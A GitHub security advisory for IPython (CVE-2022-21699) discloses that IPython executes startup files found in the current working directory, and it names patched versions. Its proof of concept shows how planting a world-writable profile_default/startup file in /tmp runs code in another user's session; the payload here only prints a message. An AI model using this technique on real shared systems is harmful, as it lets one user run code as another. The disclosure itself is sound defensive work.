ipython / **ipython** Public

Code · Issues 1.5k · Pull requests 74 · Actions · Projects · Wiki · ...

Execution with Unnecessary Privileges in ipython

High **Carreau** published **GHSA-pq7m-3gw7-gq5x** on Jan 19

Package

ipython (pip)

Affected versions	Patched versions
All version prior and including to 8.0.0, 7.31.0, 5.10	8.0.1, 7.31.1, 7.16.3, 5.11 (source only)

Description

We'd like to disclose an arbitrary code execution vulnerability in IPython that stems from IPython executing untrusted files in CWD. This vulnerability allows one user to run code as another.

Proof of concept

User1:

```
mkdir -m 777 /tmp/profile_default
mkdir -m 777 /tmp/profile_default/startup
echo 'print("stealing your private secrets")' > /tmp/profile_default/startup/foo.py
```

User2:

```
cd /tmp
ipython
```

User2 will see:

```
Python 3.9.7 (default, Oct 25 2021, 01:04:21)
Type 'copyright', 'credits' or 'license' for more information
IPython 7.29.0 -- An enhanced Interactive Python. Type '?' for help.
stealing your private secrets
```

Patched release and documentation

See https://ipython.readthedocs.io/en/stable/whatsnew/version8.html#ipython-8-0-1-cve-2022-21699,

Version 8.0.1, 7.31.1 for current Python version are recommended.
Version 7.16.3 has also been published for Python 3.6 users,
Version 5.11 (source only, 5.x branch on github) for older Python versions.

Severity

High

CVE ID

CVE-2022-21699

Weaknesses

CWE-250 CWE-279

Credits

mlucool

quarl